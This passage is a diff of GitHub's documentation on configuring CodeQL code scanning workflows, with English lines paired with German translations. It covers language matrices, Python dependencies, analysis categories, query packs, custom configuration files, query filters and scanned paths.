Vom {% data variables.code-scanning.codeql_workflow %} wird erwartet, dass der im Parameter `db-location` angegebene Pfad beschreibbar ist und entweder nicht vorhanden oder ein leeres Verzeichnis ist. Wenn du diesen Parameter in einem Auftrag verwendest, der auf einem selbstgehosteten Runner ausgeführt oder für den ein Docker-Container verwendet wird, ist es die Verantwortung des Benutzers, sicherzustellen, dass das ausgewählte Verzeichnis zwischen den Ausführungen gelöscht wird oder dass die Datenbanken entfernt werden, sobald sie nicht mehr benötigt werden. {% ifversion fpt or ghec or ghes %} Nicht notwendig ist dies für Aufträge, die auf Runnern ausgeführt werden, die auf {% data variables.product.prodname_dotcom %} gehostet werden und die bei jeder Ausführung eine neue Instanz und ein bereinigtes Dateisystem abrufen. Weitere Informationen findest du unter [Informationen zu auf {% data variables.product.prodname_dotcom %} gehosteten Runnern](/actions/using-github-hosted-runners/about-github-hosted-runners).{% endif %}
If this parameter is not used, the {% data variables.code-scanning.codeql_workflow %} will create databases in a temporary location of its own choice.
Wenn dieser Parameter nicht verwendet wird, werden vom {% data variables.code-scanning.codeql_workflow %}-Datenbanken an einem eigenständig gewählten temporären Speicherort erstellt.
## Changing the languages that are analyzed
## Ändern der analysierten Sprachen
{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} automatically detects code written in the supported languages.
Von {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} wird in den unterstützten Sprachen geschriebener Code automatisch erkannt.
{% data reusables.code-scanning.codeql-languages-bullets %}
The default {% data variables.code-scanning.codeql_workflow %} file contains a matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
Die {% data variables.code-scanning.codeql_workflow %}-Standarddatei enthält eine Matrix namens `language`, in der die analysierten Sprachen in deinem Repository aufgeführt sind. Von {% data variables.product.prodname_codeql %} wird diese Matrix automatisch gefüllt, wenn du {% data variables.product.prodname_code_scanning %} einem Repository hinzufügst. Mithilfe der `language`-Matrix wird {% data variables.product.prodname_codeql %} dahin gehend optimiert, dass die einzelnen Analysen parallel ausgeführt werden. Aufgrund der Leistungsvorteile der Parallelisierung von Builds wird empfohlen, dass alle Workflows diese Konfiguration übernehmen. Weitere Informationen zu Matrizen findest du unter [Verwenden einer Matrix für deine Aufträge](/actions/using-jobs/using-a-matrix-for-your-jobs).
{% data reusables.code-scanning.specify-language-to-analyze %}
If your workflow uses the `language` matrix then {% data variables.product.prodname_codeql %} is hardcoded to analyze only the languages in the matrix. To change the languages you want to analyze, edit the value of the matrix variable. You can remove a language to prevent it being analyzed or you can add a language that was not present in the repository when {% data variables.product.prodname_code_scanning %} was set up. For example, if the repository initially only contained JavaScript when {% data variables.product.prodname_code_scanning %} was set up, and you later added Python code, you will need to add `python` to the matrix.
Wenn die `language`-Matrix vom Workflow verwendet wird, wird {% data variables.product.prodname_codeql %} hartcodiert, sodass nur die Sprachen in der Matrix analysiert werden. Um die Sprachen zu ändern, die du analysieren möchtest, bearbeite den Wert der Matrixvariablen. Du kannst eine Sprache entfernen, um zu verhindern, dass sie analysiert wird, oder du kannst eine Sprache hinzufügen, die beim Einrichten von {% data variables.product.prodname_code_scanning %} nicht im Repository vorhanden war. Wenn das Repository beispielsweise anfänglich nur JavaScript enthielt, als {% data variables.product.prodname_code_scanning %} eingerichtet wurde, und du später Python-Code hinzugefügt hast, musst du der Matrix `python` hinzufügen.
```yaml
jobs:
@ -213,7 +212,7 @@ jobs:
language: ['javascript', 'python']
```
If your workflow does not contain a matrix called `language`, then {% data variables.product.prodname_codeql %} is configured to run analysis sequentially. If you don't specify languages in the workflow, {% data variables.product.prodname_codeql %} automatically detects, and attempts to analyze, any supported languages in the repository. If you want to choose which languages to analyze, without using a matrix, you can use the `languages` parameter under the `init` action.
Wenn dein Workflow keine Matrix mit der Bezeichnung `language` enthält, wird {% data variables.product.prodname_codeql %} so konfiguriert, dass die Analyse sequenziell ausgeführt wird. Wenn du keine Sprachen im Workflow angibst, erkennt {% data variables.product.prodname_codeql %} automatisch alle unterstützten Sprachen im Repository und versucht, diese zu analysieren. Wenn du ohne Verwendung einer Matrix auswählen möchtest, welche Sprachen analysiert werden sollen, kannst du den `languages`-Parameter unter der `init`-Aktion verwenden.
```yaml
- uses: {% data reusables.actions.action-codeql-action-init %}
@ -221,15 +220,15 @@ If your workflow does not contain a matrix called `language`, then {% data varia
languages: cpp, csharp, python
```
{% ifversion fpt or ghec %}
## Analyzing Python dependencies
## Analysieren von Python-Abhängigkeiten
For GitHub-hosted runners that use Linux only, the {% data variables.code-scanning.codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`:
Bei auf GitHub gehosteten Runnern, die nur Linux verwenden, wird vom {% data variables.code-scanning.codeql_workflow %} versucht, Python-Abhängigkeiten automatisch zu installieren, sodass mehr Ergebnisse für die CodeQL-Analyse bereitgestellt werden. Du kannst dieses Verhalten steuern, indem du den Parameter `setup-python-dependencies` für die Aktion angibst, die vom Schritt „Initialisieren von CodeQL“ aufgerufen wird. Dieser Parameter ist standardmäßig auf `true` festgelegt.
- If the repository contains code written in Python, the "Initialize CodeQL" step installs the necessary dependencies on the GitHub-hosted runner. If the auto-install succeeds, the action also sets the environment variable `CODEQL_PYTHON` to the Python executable file that includes the dependencies.
- Wenn das Repository Code enthält, der in Python geschrieben wurde, werden im Rahmen des Schritts „Initialisieren von CodeQL“ die erforderlichen Abhängigkeiten auf dem Runner installiert, der auf GitHub gehostetet wird. Wenn die automatische Installation erfolgreich verläuft, wird die Umgebungsvariable `CODEQL_PYTHON` von der Aktion auf die ausführbare Python-Datei festgelegt, die die Abhängigkeiten enthält.
- If the repository doesn't have any Python dependencies, or the dependencies are specified in an unexpected way, you'll get a warning and the action will continue with the remaining jobs. The action can run successfully even when there are problems interpreting dependencies, but the results may be incomplete.
- Wenn das Repository keine Python-Abhängigkeiten aufweist oder die Abhängigkeiten auf unerwartete Weise angegeben werden, erhältst du eine Warnung, und die Aktion wird mit den verbleibenden Aufträgen fortgesetzt. Die Aktion kann auch dann erfolgreich ausgeführt werden, wenn Probleme beim Interpretieren von Abhängigkeiten auftreten, aber die Ergebnisse sind dann möglicherweise unvollständig.
Alternatively, you can install Python dependencies manually on any operating system. You will need to add `setup-python-dependencies` and set it to `false`, as well as set `CODEQL_PYTHON` to the Python executable that includes the dependencies, as shown in this workflow extract:
Alternativ dazu kannst du Python-Abhängigkeiten manuell auf jedem Betriebssystem installieren. Du musst `setup-python-dependencies` hinzufügen und auf `false` festlegen. Außerdem musst du `CODEQL_PYTHON` auf die ausführbare Python-Datei festlegen, die die Abhängigkeiten enthält, wie in diesem Workflowausschnitt gezeigt:
```yaml
jobs:
@ -265,11 +264,11 @@ jobs:
```
{% endif %}
## Configuring a category for the analysis
## Konfigurieren einer Kategorie für die Analyse
Use `category` to distinguish between multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. The category you specify in your workflow will be included in the SARIF results file.
Verwende `category`, um zwischen mehreren Analysen für dasselbe Tool und denselben Commit zu unterscheiden, die jedoch für verschiedene Sprachen oder Teile des Codes ausgeführt werden. Die Kategorie, die du im Workflow angibst, wird in die SARIF-Ergebnisdatei aufgenommen.
This parameter is particularly useful if you work with monorepos and have multiple SARIF files for different components of the monorepo.
Dieser Parameter ist besonders nützlich, wenn du mit Monorepos arbeitest und mehrere SARIF-Dateien für verschiedene Komponenten des Monorepo besitzen.
``` yaml
- name: Perform CodeQL Analysis
@ -281,36 +280,36 @@ This parameter is particularly useful if you work with monorepos and have multip
category: "my_category"
```
If you don't specify a `category` parameter in your workflow, {% data variables.product.product_name %} will generate a category name for you, based on the name of the workflow file triggering the action, the action name, and any matrix variables. For example:
- The `.github/workflows/codeql-analysis.yml` workflow and the `analyze` action will produce the category `.github/workflows/codeql.yml:analyze`.
- The `.github/workflows/codeql-analysis.yml` workflow, the `analyze` action, and the `{language: javascript, os: linux}` matrix variables will produce the category `.github/workflows/codeql-analysis.yml:analyze/language:javascript/os:linux`.
Wenn du keinen `category`-Parameter im Workflow angibst, wird von {% data variables.product.product_name %} ein Kategoriename für dich generiert, der auf dem Namen der Workflowdatei, die die Aktion auslöst, dem Aktionsnamen und allen Matrixvariablen basiert. Beispiel:
- Der Workflow `.github/workflows/codeql-analysis.yml` und die Aktion `analyze` erzeugen die Kategorie `.github/workflows/codeql.yml:analyze`.
- Der Workflow `.github/workflows/codeql-analysis.yml`, die Aktion `analyze` und die Matrixvariablen `{language: javascript, os: linux}` erzeugen die Kategorie `.github/workflows/codeql-analysis.yml:analyze/language:javascript/os:linux`.
The `category` value will appear as the `<run>.automationDetails.id` property in SARIF v2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning#runautomationdetails-object)."
Der `category`-Wert wird als Eigenschaft `<run>.automationDetails.id` in SARIF v2.1.0 angezeigt. Weitere Informationen findest du unter [SARIF-Unterstützung für {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning#runautomationdetails-object).
Your specified category will not overwrite the details of the `runAutomationDetails` object in the SARIF file, if included.
Die Details des `runAutomationDetails`-Objekts in der SARIF-Datei werden, sofern enthalten, von der angegebenen Kategorie nicht überschrieben.
## Running additional queries
## Ausführen zusätzlicher Abfragen
{% data reusables.code-scanning.run-additional-queries %}
{% ifversion codeql-packs %}
### Using {% data variables.product.prodname_codeql %} query packs
### Verwenden von {% data variables.product.prodname_codeql %}-Abfragepaketen
{% data reusables.code-scanning.beta-codeql-packs-cli %}
To add one or more {% data variables.product.prodname_codeql %} query packs (beta), add a `with: packs:` entry within the `uses: {% data reusables.actions.action-codeql-action-init %}` section of the workflow. Within `packs` you specify one or more packages to use and, optionally, which version to download. Where you don't specify a version, the latest version is downloaded. If you want to use packages that are not publicly available, you need to set the `GITHUB_TOKEN` environment variable to a secret that has access to the packages. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
Füge zum Hinzufügen mindestens eines {% data variables.product.prodname_codeql %}-Abfragepakets (Beta) im Abschnitt `uses: {% data reusables.actions.action-codeql-action-init %}` des Workflows einen `with: packs:`-Eintrag hinzu. In `packs` gibst du mindestens ein Paket an, das verwendet werden soll. Optional kannst du angeben, welche Version heruntergeladen werden soll. Wenn du keine Version angibst, wird die neueste Version heruntergeladen. Wenn du Pakete verwenden möchtest, die nicht öffentlich verfügbar sind, musst du die Umgebungsvariable `GITHUB_TOKEN` auf ein Geheimnis festlegen, das Zugriff auf die Pakete hat. Weitere Informationen findest du unter [Authentifizierung in einem Workflow](/actions/reference/authentication-in-a-workflow) und [Verschlüsselte Geheimnisse](/actions/reference/encrypted-secrets).
{% note %}
**Note:** For workflows that generate {% data variables.product.prodname_codeql %} databases for multiple languages, you must instead specify the {% data variables.product.prodname_codeql %} query packs in a configuration file. For more information, see "[Specifying {% data variables.product.prodname_codeql %} query packs](#specifying-codeql-query-packs)" below.
**Hinweis:** Bei Workflows, mit denen {% data variables.product.prodname_codeql %}-Datenbanken für mehrere Sprachen generiert werden, musst du stattdessen die {% data variables.product.prodname_codeql %}-Abfragepakete in einer Konfigurationsdatei angeben. Weitere Informationen findest du nachstehend unter [Angeben von {% data variables.product.prodname_codeql %}-Abfragepaketen](#specifying-codeql-query-packs).
{% endnote %}
In the example below, `scope` is the organization or personal account that published the package. When the workflow runs, the four {% data variables.product.prodname_codeql %} query packs are downloaded from {% data variables.product.product_name %} and the default queries or query suite for each pack run:
- The latest version of `pack1` is downloaded and all default queries are run.
- Version 1.2.3 of `pack2` is downloaded and all default queries are run.
- The latest version of `pack3` that is compatible with version 3.2.1 is downloaded and all queries are run.
- Version 4.5.6 of `pack4` is downloaded and only the queries found in `path/to/queries` are run.
Im folgenden Beispiel ist `scope` die Organisation oder das persönliche Konto, die/das das Paket veröffentlicht hat. Wenn der Workflow ausgeführt wird, werden die vier {% data variables.product.prodname_codeql %}-Abfragepakete von {% data variables.product.product_name %} und die Standardabfragen oder die Abfragesammlung für jede Packausführung heruntergeladen:
- Die neueste Version von `pack1` wird heruntergeladen, und alle Standardabfragen werden ausgeführt.
- Version 1.2.3 von `pack2` wird heruntergeladen, und alle Standardabfragen werden ausgeführt.
- Die neueste Version von `pack3`, die mit Version 3.2.1 kompatibel ist, wird heruntergeladen, und alle Abfragen werden ausgeführt.
- Version 4.5.6 von `pack4` wird heruntergeladen, und nur die in `path/to/queries` gefundenen Abfragen werden ausgeführt.
``` yaml
- uses: {% data reusables.actions.action-codeql-action-init %}
@ -319,9 +318,9 @@ In the example below, `scope` is the organization or personal account that publi
packs: scope/pack1,scope/pack2@1.2.3,scope/pack3@~3.2.1,scope/pack4@4.5.6:path/to/queries
```
### Downloading {% data variables.product.prodname_codeql %} packs from {% data variables.product.prodname_ghe_server %}
### Herunterladen von {% data variables.product.prodname_codeql %}-Paketen aus {% data variables.product.prodname_ghe_server %}
If your workflow uses packs that are published on a {% data variables.product.prodname_ghe_server %} installation, you need to tell your workflow where to find them. You can do this by using the `registries` input of the {% data reusables.actions.action-codeql-action-init %} action. This input accepts a list of `url`, `packages`, and `token` properties as shown below.
Wenn dein Workflow Pakete verwendet, die auf einer {% data variables.product.prodname_ghe_server %}-Installation veröffentlicht wurden, musst du deinem Workflow mitteilen, wo sie zu finden sind. Möglich ist dies über die `registries`-Eingabe der Aktion {% data reusables.actions.action-codeql-action-init %}. Diese Eingabe akzeptiert eine Liste mit den Eigenschaften `url`, `packages` und `token`, wie unten gezeigt.
```
- uses: {% data reusables.actions.action-codeql-action-init %}
@ -347,13 +346,12 @@ If your workflow uses packs that are published on a {% data variables.product.pr
{% endraw %}
```
The package patterns in the registries list are examined in order, so you should generally place the most specific package patterns first. The values for `token` must be a {% data variables.product.pat_v1 %} generated by the GitHub instance you are downloading from with the `read:packages` permission.
Die Paketmuster in der Registrierungsliste werden in der angegebenen Reihenfolge überprüft, daher solltest das spezifischste Paketmuster in der Regel zuerst angeben. Bei den Werten für `token` muss es sich um ein {% data variables.product.pat_v1 %} handeln, das durch die GitHub-Instanz generiert wurde, von der du mit der Berechtigung `read:packages` einen Download durchführst.
Notice the `|` after the `registries` property name. This is important since {% data variables.product.prodname_actions %} inputs can only accept strings. Using the `|` converts the subsequent text to a string, which is parsed later by the {% data reusables.actions.action-codeql-action-init %} action.
Beachte das `|` nach dem Eigenschaftsnamen `registries`. Dies ist wichtig, da {% data variables.product.prodname_actions %}-Eingaben nur Zeichenfolgen akzeptieren können. Mit dem `|` wird der nachfolgende Text in eine Zeichenfolge umgewandelt, die später von der {% data reusables.actions.action-codeql-action-init %}-Aktion geparst wird.
### Using queries in QL packs
{% endif %}
To add one or more queries, add a `with: queries:` entry within the `uses: {% data reusables.actions.action-codeql-action-init %}` section of the workflow. If the queries are in a private repository, use the `external-repository-token` parameter to specify a token that has access to checkout the private repository.
### Verwenden von Abfragen in QL-Paketen
{% endif %} Füge zum Hinzufügen mindestens einer Abfrage innerhalb des Abschnitts `uses: {% data reusables.actions.action-codeql-action-init %}` des Workflows einen `with: queries:`-Eintrag hinzu. Wenn sich die Abfragen in einem privaten Repository befinden, verwende den Parameter `external-repository-token`, um ein Token anzugeben, das Zugriff zum Auschecken des privaten Repositorys hat.
``` yaml
- uses: {% data reusables.actions.action-codeql-action-init %}
@ -363,17 +361,17 @@ To add one or more queries, add a `with: queries:` entry within the `uses: {% da
external-repository-token: {% raw %}${{ secrets.ACCESS_TOKEN }}{% endraw %}
```
You can also specify query suites in the value of `queries`. Query suites are collections of queries, usually grouped by purpose or language.
Du kannst auch Abfragesammlungen im Wert von `queries` angeben. Abfragesammlungen sind Sammlungen von Abfragen, die in der Regel nach Zweck oder Sprache gruppiert sind.
{% data reusables.code-scanning.codeql-query-suites-explanation %}
{% ifversion codeql-packs %}
### Working with custom configuration files
### Arbeiten mit benutzerdefinierten Konfigurationsdateien
{% endif %}
If you also use a configuration file for custom settings, any additional {% ifversion codeql-packs %}packs or {% endif %}queries specified in your workflow are used instead of those specified in the configuration file. If you want to run the combined set of additional {% ifversion codeql-packs %}packs or {% endif %}queries, prefix the value of {% ifversion codeql-packs %}`packs` or {% endif %}`queries` in the workflow with the `+` symbol. For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)."
Wenn du auch eine Konfigurationsdatei für benutzerdefinierte Einstellungen verwendest, werden alle in deinem Workflow angegebenen zusätzlichen {% ifversion codeql-packs %}Pakete oder {% endif %}Abfragen anstelle der in der Konfigurationsdatei angegebenen Komponenten verwendet. Wenn du eine Kombination zusätzlicher {% ifversion codeql-packs %}Pakete oder {% endif %}Abfragen ausführen möchtest, musst du den Wert von {% ifversion codeql-packs %}`packs` oder {% endif %}`queries` im Workflow mit dem Symbol `+` als Präfix versehen. Weitere Informationen findest du unter [Erstellen einer benutzerdefinierten Konfigurationsdatei](#using-a-custom-configuration-file).
In the following example, the `+` symbol ensures that the specified additional {% ifversion codeql-packs %}packs and {% endif %}queries are used together with any specified in the referenced configuration file.
Im folgenden Beispiel wird mit dem Symbol `+` sichergestellt, dass die angegebenen zusätzlichen {% ifversion codeql-packs %}Pakete und {% endif %}Abfragen zusammen mit allen angegebenen Komponenten in der Konfigurationsdatei verwendet werden, auf die verwiesen wird.
``` yaml
- uses: {% data reusables.actions.action-codeql-action-init %}
@ -385,11 +383,11 @@ In the following example, the `+` symbol ensures that the specified additional {
{%- endif %}
```
## Using a custom configuration file
## Verwenden einer benutzerdefinierten Konfigurationsdatei
A custom configuration file is an alternative way to specify additional {% ifversion codeql-packs %}packs and {% endif %}queries to run. You can also use the file to disable the default queries{% ifversion code-scanning-exclude-queries-from-analysis %}, exclude or include specific queries,{% endif %} and to specify which directories to scan during analysis.
Eine benutzerdefinierte Konfigurationsdatei ist eine alternative Möglichkeit, zusätzliche {% ifversion codeql-packs %}Pakete und {% endif %}Abfragen anzugeben, die ausgeführt werden sollen. Du kannst die Datei auch verwenden, um die Standardabfragen zu deaktivieren{% ifversion code-scanning-exclude-queries-from-analysis %}, bestimmte Abfragen auszuschließen oder einzuschließen{% endif %} und um festzulegen, welche Verzeichnisse während der Analyse überprüft werden sollen.
In the workflow file, use the `config-file` parameter of the `init` action to specify the path to the configuration file you want to use. This example loads the configuration file _./.github/codeql/codeql-config.yml_.
Verwende in der Workflowdatei den `config-file`-Parameter der `init`-Aktion, um den Pfad zur Konfigurationsdatei anzugeben, die du verwenden möchtest. In diesem Beispiel wird die Konfigurationsdatei _./.github/codeql/codeql-config.yml_ geladen.
``` yaml
- uses: {% data reusables.actions.action-codeql-action-init %}
@ -399,7 +397,7 @@ In the workflow file, use the `config-file` parameter of the `init` action to sp
{% data reusables.code-scanning.custom-configuration-file %}
If the configuration file is located in an external private repository, use the `external-repository-token` parameter of the `init` action to specify a token that has access to the private repository.
Wenn sich die Konfigurationsdatei in einem externen privaten Repository befindet, verwende den `external-repository-token`-Parameter der `init`-Aktion, um ein Token anzugeben, das Zugriff auf das private Repository besitzt.
```yaml
- uses: {% data reusables.actions.action-codeql-action-init %}
@ -407,14 +405,14 @@ If the configuration file is located in an external private repository, use the
external-repository-token: {% raw %}${{ secrets.ACCESS_TOKEN }}{% endraw %}
```
The settings in the configuration file are written in YAML format.
Die Einstellungen in der Konfigurationsdatei werden im YAML-Format geschrieben.
{% ifversion codeql-packs %}
### Specifying {% data variables.product.prodname_codeql %} query packs
### Angeben von {% data variables.product.prodname_codeql %}-Abfragepaketen
{% data reusables.code-scanning.beta-codeql-packs-cli %}
You specify {% data variables.product.prodname_codeql %} query packs in an array. Note that the format is different from the format used by the workflow file.
Du gibst {% data variables.product.prodname_codeql %}-Abfragepakete in einem Array an. Beachte, dass sich das Format von dem Format unterscheidet, das von der Workflowdatei verwendet wird.
{% raw %}
``` yaml
@ -434,9 +432,9 @@ packs:
```
{% endraw %}
The full format for specifying a query pack is `scope/name[@version][:path]`. Both `version` and `path` are optional. `version` is semver version range. If it is missing, the latest version is used. For more information about semver ranges, see the [semver docs on npm](https://docs.npmjs.com/cli/v6/using-npm/semver#ranges).
Das vollständige Format zum Angeben eines Abfragepakets ist `scope/name[@version][:path]`. `version` und `path` sind optional. `version` ist der SemVer-Versionsbereich. Wenn dieser fehlt, wird die neueste Version verwendet. Weitere Informationen zu SemVer-Bereichen findest du in der [SemVer-Dokumentation auf der npm-Website](https://docs.npmjs.com/cli/v6/using-npm/semver#ranges).
If you have a workflow that generates more than one {% data variables.product.prodname_codeql %} database, you can specify any {% data variables.product.prodname_codeql %} query packs to run in a custom configuration file using a nested map of packs.
Wenn du über einen Workflow verfügst, mit dem mehrere {% data variables.product.prodname_codeql %}-Datenbanken generiert werden, kannst du in einer benutzerdefinierten Konfigurationsdatei beliebige auszuführende {% data variables.product.prodname_codeql %}-Abfragepakete angeben, indem du eine geschachtelte Zuordnung von Paketen verwendest.
{% raw %}
``` yaml
@ -450,12 +448,11 @@ packs:
- scope/java-pack1
- scope/java-pack2@v1.0.0
```
{% endraw %}
{% endif %}
{% endraw %} {% endif %}
### Specifying additional queries
### Angeben zusätzlicher Abfragen
You specify additional queries in a `queries` array. Each element of the array contains a `uses` parameter with a value that identifies a single query file, a directory containing query files, or a query suite definition file.
Du gibst zusätzliche Abfragen in einem `queries`-Array an. Jedes Element des Arrays enthält einen `uses`-Parameter mit einem Wert, der eine einzelne Abfragedatei, ein Verzeichnis mit Abfragedateien oder eine Abfragesammlungs-Definitionsdatei identifiziert.
``` yaml
queries:
@ -464,23 +461,23 @@ queries:
- uses: ./query-suites/my-security-queries.qls
```
Optionally, you can give each array element a name, as shown in the example configuration files below. For more information about additional queries, see "[Running additional queries](#running-additional-queries)" above.
Optional kannst du jedem Arrayelement einen Namen geben, wie in den folgenden Beispielkonfigurationsdateien gezeigt. Weitere Informationen zu zusätzlichen Abfragen findest du oben unter [Ausführen zusätzlicher Abfragen](#running-additional-queries).
### Disabling the default queries
### Deaktivieren der Standardabfragen
If you only want to run custom queries, you can disable the default security queries by using `disable-default-queries: true`.
Wenn du nur benutzerdefinierte Abfragen ausführen möchtest, kannst du die Standardsicherheitsabfragen mit `disable-default-queries: true` deaktivieren.
{% ifversion code-scanning-exclude-queries-from-analysis %}
### Excluding specific queries from analysis
### Ausschließen bestimmter Abfragen aus der Analyse
You can add `exclude` and `include` filters to your custom configuration file, to specify the queries you want to exclude or include in the analysis.
Du kannst `exclude`- und `include`-Filter in deine benutzerdefinierte Konfigurationsdatei einfügen, um die Abfragen festzulegen, die du bei der Analyse ausschließen oder einbeziehen möchtest.
This is useful if you want to exclude, for example:
- Specific queries from the default suites (`security`, `security-extended` and `security-and-quality`).
- Specific queries whose results do not interest you.
- All the queries that generate warnings and recommendations.
Dies ist nützlich, wenn du bestimmte Abfragen ausschließen möchtest:
- Bestimmte Abfragen aus den Standardsammlungen (`security`, `security-extended` und `security-and-quality`)
- Spezifische Abfragen, deren Ergebnisse für dich nicht relevant sind
- Alle Abfragen, die Warnungen und Empfehlungen generieren
You can use `exclude` filters similar to those in the configuration file below to exclude queries that you want to remove from the default analysis. In the example of configuration file below, both the `js/redundant-assignment` and the `js/useless-assignment-to-local` queries are excluded from analysis.
Du kannst `exclude`-Filter ähnlich denen in der Konfigurationsdatei unten verwenden, um Abfragen auszuschließen, die du aus der Standardanalyse entfernen möchtest. In der folgenden Beispielkonfigurationsdatei werden sowohl die `js/redundant-assignment`- als auch die `js/useless-assignment-to-local`-Abfragen aus der Analyse ausgeschlossen.
```yaml
query-filters:
@ -489,25 +486,25 @@ query-filters:
- exclude:
id: js/useless-assignment-to-local
```
To find the id of a query, you can click the alert in the list of alerts in the Security tab. This opens the alert details page. The `Rule ID` field contains the query id. For more information about the alert details page, see "[About {% data variables.product.prodname_code_scanning %} alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details)."
Um die ID einer Abfrage zu ermitteln, kannst du in der Liste der Warnungen auf der Registerkarte „Sicherheit“ auf die jeweilige Warnung klicken. Dadurch wird die Seite mit den Details zur Warnung geöffnet. Das Feld `Rule ID` enthält die Abfrage-ID. Weitere Informationen über die Seite mit den Warnungsdetails findest du unter [Informationen zu {% data variables.product.prodname_code_scanning %}-Warnungen](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details).
{% tip %}
**Tips:**
- The order of the filters is important. The first filter instruction that appears after the instructions about the queries and query packs determines whether the queries are included or excluded by default.
- Subsequent instructions are executed in order and the instructions that appear later in the file take precedence over the earlier instructions.
**Tipps:**
- Die Reihenfolge der Filter ist wichtig. Die erste Filteranweisung, die nach den Anweisungen zu den Abfragen und Abfragepaketen angezeigt wird, bestimmt, ob die Abfragen standardmäßig ein- oder ausgeschlossen werden.
- Nachfolgende Anweisungen werden in der angegebenen Reihenfolge ausgeführt, und Anweisungen, die später in der Datei erscheinen, haben Vorrang vor den vorherigen Anweisungen.
{% endtip %}
You can find another example illustrating the use of these filters in the "[Example configuration files](#example-configuration-files)" section.
Ein weiteres Beispiel zur Veranschaulichung der Verwendung dieser Filter findest du im Abschnitt [Beispielkonfigurationsdateien](#example-configuration-files).
For more information about using `exclude` and `include` filters in your custom configuration file, see "[Creating {% data variables.product.prodname_codeql %} query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/#filtering-the-queries-in-a-query-suite)." For information on the query metadata you can filter on, see "[Metadata for CodeQL queries](https://codeql.github.com/docs/writing-codeql-queries/metadata-for-codeql-queries/)."
Weitere Informationen zur Verwendung von `exclude`- und `include`-Filtern in deiner benutzerdefinierten Konfigurationsdatei findest du unter [Erstellen von {% data variables.product.prodname_codeql %}-Abfragesammlungen](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/#filtering-the-queries-in-a-query-suite). Informationen zu den Abfragemetadaten, nach denen du filtern kannst, findest du unter [Metadaten für CodeQL-Abfragen](https://codeql.github.com/docs/writing-codeql-queries/metadata-for-codeql-queries/).
{% endif %}
### Specifying directories to scan
### Angeben der zu scannenden Verzeichnisse
For the interpreted languages that {% data variables.product.prodname_codeql %} supports (Python{% ifversion fpt or ghes > 3.3 or ghae > 3.3 %}, Ruby{% endif %} and JavaScript/TypeScript), you can restrict {% data variables.product.prodname_code_scanning %} to files in specific directories by adding a `paths` array to the configuration file. You can exclude the files in specific directories from analysis by adding a `paths-ignore` array.
Für die von {% data variables.product.prodname_codeql %} unterstützten interpretierten Sprachen (Python{% ifversion fpt or ghes > 3.3 or ghae > 3.3 %}, Ruby{% endif %} und JavaScript/TypeScript) kannst du {% data variables.product.prodname_code_scanning %} auf Dateien in bestimmten Verzeichnissen beschränken, indem du der Konfigurationsdatei ein `paths`-Array hinzufügst. Du kannst die Dateien in bestimmten Verzeichnissen von der Analyse ausschließen, indem du ein `paths-ignore`-Array hinzufügst.
``` yaml
paths:
@ -519,28 +516,28 @@ paths-ignore:
{% note %}
**Note**:
**Hinweis**:
* The `paths` and `paths-ignore` keywords, used in the context of the {% data variables.product.prodname_code_scanning %} configuration file, should not be confused with the same keywords when used for `on.<push|pull_request>.paths` in a workflow. When they are used to modify `on.<push|pull_request>` in a workflow, they determine whether the actions will be run when someone modifies code in the specified directories. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)."
* The filter pattern characters `?`, `+`, `[`, `]`, and `!` are not supported and will be matched literally.
* `**` characters can only be at the start or end of a line, or surrounded by slashes, and you can't mix `**` and other characters. For example, `foo/**`, `**/foo`, and `foo/**/bar` are all allowed syntax, but `**foo` isn't. However you can use single stars along with other characters, as shown in the example. You'll need to quote anything that contains a `*` character.
* Die Schlüsselwörter `paths` und `paths-ignore`, die im Kontext der {% data variables.product.prodname_code_scanning %}-Konfigurationsdatei verwendet werden, sollten nicht mit den gleichen Schlüsselwörtern verwechselt werden, wenn diese für `on.<push|pull_request>.paths` in einem Workflow verwendet werden. Wenn sie zum Ändern von `on.<push|pull_request>` in einem Workflow verwendet werden, bestimmen sie, ob die Aktionen ausgeführt werden, wenn jemand Code in den angegebenen Verzeichnissen ändert. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore).
* Die Filtermusterzeichen `?`, `+`, `[`, `]` und `!` werden nicht unterstützt und werden literal wörtlich abgeglichen.
* `**`-Zeichen dürfen sich nur am Anfang oder Ende einer Zeile befinden oder müssen in Schrägstriche eingeschlossen sein, und du kannst `**` und andere Zeichen nicht mischen. Beispielsweise stellen die Zeichenfolgen `foo/**`, `**/foo` und `foo/**/bar` zulässige Syntax dar, `**foo` aber nicht. Du kannst jedoch einzelne Sternchen zusammen mit anderen Zeichen verwenden, wie im Beispiel gezeigt. Du musst alle Zeichenfolgen in Anführungszeichen einschließen, die ein `*`-Zeichen enthalten.
{% endnote %}
